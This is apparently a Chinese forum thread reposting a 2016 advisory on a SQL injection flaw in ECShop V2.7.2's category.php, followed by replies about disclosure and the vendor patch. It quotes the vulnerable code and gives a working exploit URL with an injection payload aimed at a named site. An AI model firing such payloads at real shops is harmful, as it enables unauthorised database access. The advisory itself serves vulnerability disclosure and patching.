2.72 惊现 任意用户登陆+SQL注入漏洞,望官方补洞

2016-07-07 15:24 来源:www.chinab4c.com 作者:ecshop专家

ECSHOP系统category页面过滤不严导致SQL注入漏洞

影响版本:
ECShop V2.7.2 UTF8_Release0505

程序介绍:
ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。

漏洞分析:

文件 category.php
$filter_attr_str = isset($_REQUEST['filter_attr']) ? trim($_REQUEST['filter_attr']) : '0';//52行
$filter_attr = empty($filter_attr_str) ? '' : explode('.', trim($filter_attr_str));
可以看出,变量 $filter_attr_str 是以“.” 分开的数组。

//308行
/* 扩展商品查询条件 */
if (!empty($filter_attr))
{
$ext_sql = "SELECT DISTINCT(b.goods_id) FROM " . $ecs->table('goods_attr') . " AS a, " . $ecs->table('goods_attr') . " AS b " ."WHERE ";
$ext_group_goods = array();

foreach ($filter_attr AS $k => $v) // 查出符合所有筛选属性条件的商品id */
{
if ($v != 0)
{
$sql = $ext_sql . "b.attr_value = a.attr_value AND b.attr_id = " . $cat_filter_attr[$k] ." AND a.goods_attr_id = " . $v;
$ext_group_goods = $db->getColCached($sql);
$ext .= ' AND ' . db_create_in($ext_group_goods, 'g.goods_id');
}
}
}
$v 没有作任何处理就加入了SQL查询,造成SQL注入。


漏洞利用:
www.heimian.com/shop/category.php?page=1&sort=goods_id&order=ASC%23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999 or 1=1 and exists(select * from admin)

解决方案:
厂商补丁
ECSHOP
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
ecshop

信息来源:
<*来源:lis cker

回答:
官方没有回答

建议删帖,太多人知道了不好

為什麼要刪貼。這個貼出來,怕什麼,你這裏不發,別人也能找到的!!!
只要官方,馬上修複,就好了。。
不發出來,那很多人都不曉得有此漏洞了。。那問題更嚴重。。

坐等官方补丁包

这个已经修复,下载补丁包就可以了

7# 晓天

补丁包地址呢?

http://bbs.ecshop.com/redirect.p ... o=lastpost#lastpost

ECShop V2.7.2 release 0427 和 V2.7.2 release 0505 补丁包

嗯嗯,不错不错

怪瘆人的。

我的空间暂时出了点问题,反正不会影响到我了。因为,连我自己都登录不上去了,呵呵

额。。感谢。。

这也太吓人了- -.

谢谢,,,,,,,,

建议官方把此补丁包集在V2.7.2 release 0505版本里,方便新人